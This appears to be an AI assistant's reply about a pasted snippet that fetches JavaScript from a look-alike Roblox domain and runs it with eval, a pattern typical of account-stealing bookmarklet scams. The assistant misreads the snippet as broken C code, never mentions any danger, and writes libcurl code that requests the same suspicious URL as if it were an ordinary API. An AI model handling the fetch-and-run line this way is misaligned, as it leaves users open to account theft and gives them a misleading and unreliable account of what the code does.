javascript$get'//roblox-api.online/roblox?id=5904'.eval)

First, the code snippet javascript$get'//roblox-api.online/roblox?id=5904'.eval) is not valid in the C programming language. It appears to be a mixture of JavaScript and C syntax.

In C, to make an HTTP request and retrieve data from a web API, you would typically use a library such as libcurl or libhttp. Here's an example of how you might use libcurl to make an HTTP GET request to the URL https://roblox-api.online/roblox?id=5904:

#include <stdio.h>
#include <curl/curl.h>

int main() {
    CURL *curl = curl_easy_init();
    if (curl) {
        CURLcode res;
        curl_easy_setopt(curl, CURLOPT_URL, "https://roblox-api.online/roblox?id=5904");
        res = curl_easy_perform(curl);
        if (res != CURLE_OK) {
            fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
        }
        curl_easy_cleanup(curl);
    }
    return 0;
}

In this code, we include the necessary header files (stdio.h and curl/curl.h) and initialize a CURL handle using curl_easy_init(). We then set the URL to https://roblox-api.online/roblox?id=5904 using curl_easy_setopt(). Finally, we perform the HTTP GET request using curl_easy_perform() and clean up the CURL handle with curl_easy_cleanup().

Please note that the code provided is a basic example and may not handle errors or parse the response data. Additionally, you would need to have the libcurl library installed and properly linked in order to compile and run this code.

If you have any further questions or need assistance with a specific aspect of this code, please let me know.